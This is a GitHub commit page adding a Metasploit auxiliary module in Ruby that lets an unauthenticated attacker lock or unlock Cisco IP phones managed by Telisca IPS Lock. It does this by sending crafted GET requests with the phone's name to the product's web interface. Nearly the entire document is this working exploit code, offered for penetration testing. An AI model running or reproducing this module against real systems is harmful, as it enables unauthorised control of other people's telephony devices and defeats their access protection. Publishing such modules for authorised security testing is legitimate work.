Skip to content

Commit 8af751b

Browse files
author
Tod Beardsley
committed
Land rapid7#6470, Telisca IPS Lock (and Unlock)
2 parents f6f2e14 + 86c025d commit 8af751b

File tree

1 file changed

+166
-0
lines changed

1 file changed

+166
-0
lines changed
Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Telisca IPS Lock Cisco IP Phone Control',
15+
'Description' => %q{
16+
This module allows an unauthenticated attacker to exercise the
17+
"Lock" and "Unlock" functionality of Telisca IPS Lock for Cisco IP
18+
Phones. This module should be run in the VoIP VLAN, and requires
19+
knowledge of the target phone's name (for example, SEP002497AB1D4B).
20+
21+
Set ACTION to either LOCK or UNLOCK. UNLOCK is the default.
22+
},
23+
'References' =>
24+
[
25+
# Publicly disclosed via Metaploit PR
26+
'URL', 'https://github.com/rapid7/metasploit-framework/pull/6470'
27+
],
28+
'Author' =>
29+
[
30+
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>',
31+
'zirsalem'
32+
],
33+
'License' => MSF_LICENSE,
34+
'DisclosureDate' => 'Dec 17 2015',
35+
'Actions' =>
36+
[
37+
['LOCK', 'Description' => 'To lock a phone'],
38+
['UNLOCK', 'Description' => 'To unlock a phone']
39+
],
40+
'DefaultAction' => 'UNLOCK'
41+
))
42+
43+
register_options(
44+
[
45+
OptAddress.new('RHOST', [true, 'The IPS Lock IP Address']),
46+
OptString.new('PHONENAME', [true, 'The name of the target phone'])
47+
], self.class)
48+
49+
end
50+
51+
def print_status(msg='')
52+
super("#{peer} - #{msg}")
53+
end
54+
55+
def print_good(msg='')
56+
super("#{peer} - #{msg}")
57+
end
58+
59+
def print_error(msg='')
60+
super("#{peer} - #{msg}")
61+
end
62+
63+
# Returns the status of the listening port.
64+
#
65+
# @return [Boolean] TrueClass if port open, otherwise FalseClass.
66+
def port_open?
67+
begin
68+
res = send_request_raw({'method' => 'GET', 'uri' => '/'})
69+
return true if res
70+
rescue ::Rex::ConnectionRefused
71+
vprint_status("Connection refused")
72+
rescue ::Rex::ConnectionError
73+
vprint_error("Connection failed")
74+
rescue ::OpenSSL::SSL::SSLError
75+
vprint_error("SSL/TLS connection error")
76+
end
77+
78+
false
79+
end
80+
81+
# Locks a device.
82+
#
83+
# @param phone_name [String] Name of the phone used for the pn parameter.
84+
#
85+
# @return [void]
86+
def lock(phone_name)
87+
res = send_request_cgi({
88+
'method' => 'GET',
89+
'uri' => '/IPSPCFG/user/Default.aspx',
90+
'headers' => {
91+
'Connection' => 'keep-alive',
92+
'Accept-Language' => 'en-US,en;q=0.5'
93+
},
94+
'vars_get' => {
95+
'action' => 'DO',
96+
'tg' => 'L',
97+
'pn' => phone_name,
98+
'dp' => '',
99+
'gr' => '',
100+
'gl' => ''
101+
}
102+
})
103+
104+
if res && res.code == 200
105+
if res.body.include?('Unlock') || res.body.include?('U7LCK')
106+
print_good("The device #{phone_name} is already locked")
107+
elsif res.body.include?('unlocked') || res.body.include?('Locking') || res.body.include?('QUIT')
108+
print_good("Device #{phone_name} successfully locked")
109+
end
110+
elsif res
111+
print_error("Unexpected response #{res.code}")
112+
else
113+
print_error('The connection timed out while trying to lock.')
114+
end
115+
end
116+
117+
118+
# Unlocks a phone.
119+
#
120+
# @param phone_name [String] Name of the phone used for the pn parameter.
121+
#
122+
# @return [void]
123+
def unlock(phone_name)
124+
res = send_request_cgi({
125+
'method' => 'GET',
126+
'uri' => '/IPSPCFG/user/Default.aspx',
127+
'headers' => {
128+
'Connection' => 'keep-alive',
129+
'Accept-Language' => 'en-US,en;q=0.5'
130+
},
131+
'vars_get' => {
132+
'action' => 'U7LCK',
133+
'pn' => phone_name,
134+
'dp' => ''
135+
}
136+
})
137+
138+
if res && res.code == 200
139+
if res.body.include?('Unlock') || res.body.include?('U7LCK')
140+
print_good("The device #{phone_name} is already locked")
141+
elsif res.body.include?('unlocked') || res.body.include?('QUIT')
142+
print_good("The device #{phone_name} successfully unlocked")
143+
end
144+
elsif res
145+
print_error("Unexpected response #{res.code}")
146+
else
147+
print_error('The connection timed out while trying to unlock')
148+
end
149+
end
150+
151+
152+
def run
153+
unless port_open?
154+
print_error('The web server is unreachable!')
155+
return
156+
end
157+
158+
phone_name = datastore['PHONENAME']
159+
case action.name
160+
when 'LOCK'
161+
lock(phone_name)
162+
when 'UNLOCK'
163+
unlock(phone_name)
164+
end
165+
end
166+
end

0 commit comments

Comments
 (0)